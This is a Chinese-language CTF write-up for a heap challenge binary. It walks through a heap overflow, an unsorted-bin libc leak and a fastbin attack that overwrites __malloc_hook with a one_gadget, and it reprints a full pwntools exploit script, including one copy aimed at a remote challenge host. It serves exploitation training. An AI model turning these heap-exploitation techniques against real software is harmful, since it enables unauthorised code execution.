查看一下保护机制
Arch: amd64-64-littleRELRO: Full RELROstack: Canary foundNX: NX enabledPIE: PIE enabledFULL RELRO要注意一下
ida反编译一下
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ __int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(a1, a2, a3); while ( 1 ) { menu(); switch ( choice() ) { case 1LL: add(v4); break; case 2LL: edit(v4); break; case 3LL: delete(v4); break; case 4LL: print(v4); break; case 5LL: return 0LL; default: continue; } }}需要留意的是释放堆块的时候 指针也置零了 没有办法uaf
但是edit可以进行堆溢出
题目docker环境为16.04 那么显而易见 有输出函数以及堆溢出的机会
这里用到unsortedbin泄露基址
#前置exp:from pwn import*context.log_level = "debug"#io = process("./pwn")io = remote("node4.buuoj.cn",25931)elf = ELF("./pwn")libc = ELF("./libc")
def add(size): io.recvuntil("Command:") io.sendline(b"1") io.recvuntil("Size:") io.sendline(str(size)) io.recv()
def edit(index,size,payload): io.recvuntil("Command:") io.sendline(b"2") io.recvuntil("Index:") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content:") io.sendline(payload)
def delete(index): io.recvuntil("Command:") io.sendline(b"3") io.recvuntil("Index:") io.sendline(str(index))
def show(index): io.recvuntil("Command:") io.sendline(b"4") io.recvuntil("Index:") io.sendline(str(index))先申请一个chunk0 用于堆溢出覆盖chunk1的size域 从而使chunk1和chunk2合并
add(0x18)#0add(0x68)#1add(0x68)#2add(0x20)#3 #chunk3的作用则是防止堆块释放后和top chunk合并payload = cyclic(0x18)+b"\xe1"edit(0,len(payload),payload)gdb看一下此时堆块结构
可以看到已经成功合并了chunk1和chunk2
此时我们free掉chunk1
该合并堆块就会进入到unsortedbin
此时其fd和bk就指向了main_arena+88
我们如果再申请一个0x68大小的chunk
此时bin将会把前半部分的堆块分配出来
于是fd和bk的内容我们就可以通过print新申请的堆块打印出来
add(0x68)#3&1show(2)io.recvuntil("Content:")addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))还差一点 要如果才能确定偏移 从而计算出libc基址
这里我们进行gdb动调 我们需要求出main_arena+88和libc基址的偏移
则可求得 偏移 = 0x7f35f3b9bb78-0x7f35f37d7000
由于开启了FULL RELRO 我们并没有办法篡改got表
但是此时是ubuntu16.04版本环境 我们想到了使用malloc_hook的攻击方法
libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000)malloc_hook = libc_addr+libc.sym["__malloc_hook"]system_addr = libc_addr + libc.sym['system']此时我们再次申请一个大小为0x68的chunk 它会分配到剩下一半的unsortedbin的空间
但是你要注意到 chunk2的指针不是还没被置零吗 chunk2和我们新申请到的chunk指向了同一片空间
这不就可以做到uaf吗 于是我们再次释放chunk2 然后编辑chunk4的内容 覆盖chunk2的fd域 就可以使我们目标地址串连到fastbin上
add(0x68)#4&2delete(2)edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23))此时我们连续申请两个堆块 第二个堆块就是分配到对应地址的空间
此时我们编辑第二个堆块 覆盖malloc_hook为onegadget地址
这样我们在申请新chunk时系统调用malloc函数时就会调用onegadget
add(0x68)#4add(0x68)#5onegadget = 0x4526a+libc_addr #0x45216 0x4526a 0xf02a4 0xf1147payload = cyclic(0x8+0xb)+p64(onegadget)edit(5,len(payload),payload)add(0x30)io.interactive()完整exp:
from pwn import*context.log_level = "debug"io = process("./pwn")#io = remote("node4.buuoj.cn",25931)elf = ELF("./pwn")libc = ELF("./libc")
def add(size): io.recvuntil("Command:") io.sendline(b"1") io.recvuntil("Size:") io.sendline(str(size)) io.recv()
def edit(index,size,payload): io.recvuntil("Command:") io.sendline(b"2") io.recvuntil("Index:") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content:") io.sendline(payload)
def delete(index): io.recvuntil("Command:") io.sendline(b"3") io.recvuntil("Index:") io.sendline(str(index))
def show(index): io.recvuntil("Command:") io.sendline(b"4") io.recvuntil("Index:") io.sendline(str(index))
add(0x18)#0add(0x68)#1add(0x68)#2add(0x20)#3payload = cyclic(0x18)+b"\xe1"edit(0,len(payload),payload)delete(1)add(0x68)#3&1show(2)io.recvuntil("Content:")addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000)malloc_hook = libc_addr+libc.sym["__malloc_hook"]system_addr = libc_addr + libc.sym['system']add(0x68)#4&2delete(2)edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23))add(0x68)#4add(0x68)#5onegadget = 0x4526a+libc_addr #0x45216 0x4526a 0xf02a4 0xf1147payload = cyclic(0x8+0xb)+p64(onegadget)edit(5,len(payload),payload)add(0x30)io.interactive()

